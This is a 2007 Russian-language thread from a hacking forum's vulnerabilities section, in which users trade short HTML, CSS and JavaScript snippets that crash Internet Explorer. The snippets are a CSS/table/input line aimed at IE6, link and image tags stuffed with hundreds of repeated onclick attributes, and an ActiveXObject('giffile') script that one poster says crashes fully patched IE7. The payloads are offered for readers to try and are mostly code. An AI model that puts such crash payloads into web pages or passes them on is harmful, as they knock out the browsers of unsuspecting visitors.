Строчка кода, убивающая Ie6

Discussion in 'Уязвимости' started by bulbazaur, 8 Aug 2007.

  1. bulbazaur

    bulbazaur Banned

    Joined:
    10 Sep 2006
    Messages:
    125
    Likes Received:
    40
    Reputations:
    10
    Японский блогер Hamachiya2 «придумал» короткую строчку HTML кода, которая некорректно понимается IE6 и он выдает критическую ошибку :)

    <style>*{position:relative}</style><table><input></table>

    Не верите? Проверьте! В остальных браузерах, включая IE7, все хорошо.

    Источник — immike.net
     
    #1 bulbazaur, 8 Aug 2007
    Last edited: 8 Aug 2007
  2. A110ut

    A110ut Elder - Старейшина

    Joined:
    31 Dec 2005
    Messages:
    505
    Likes Received:
    263
    Reputations:
    92
    "display: none" в input тоже работает
     
    1 person likes this.
  3. vorishka

    vorishka Elder - Старейшина

    Joined:
    3 Mar 2005
    Messages:
    309
    Likes Received:
    43
    Reputations:
    22
    Древняя бага:

    HTML:
    
    *(a)*
    
    <a href=x onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann>Vuln Testing..</a>
    
    *(img)*
    
    <img src=hasan onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann onclick=ajann
    onclick=ajann onclick=ajann onclick=ajann onclick=ajann></img>
    
    
    Критическая ошибка
     
  4. dmn

    dmn Elder - Старейшина

    Joined:
    10 Dec 2006
    Messages:
    37
    Likes Received:
    8
    Reputations:
    0
    у меня rss reader на движке осла, как только нажал что новость прочитанная он повис :D
     
  5. tbody

    tbody Member

    Joined:
    7 Jul 2007
    Messages:
    18
    Likes Received:
    8
    Reputations:
    -9
    Вот этот скрипт валит вообще лябой IE, в том числе и 7 со всеми патчами

    <script language="JavaScript">
    obj = new ActiveXObject("giffile");
    obj.bgColor;
    </script>
     
  6. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    А исчо сам гема придумал пару строчек кода, которые валят ЛЮБОЙ браузер
     
  7. SPYRUS

    SPYRUS New Member

    Joined:
    19 Jul 2007
    Messages:
    0
    Likes Received:
    1
    Reputations:
    0
    Проверено -ВАЛИТ - IE7 со всеми патчами!
    Супер-Респект!
    Оперу- НЕ ВАЛИТ! (буилд 8808)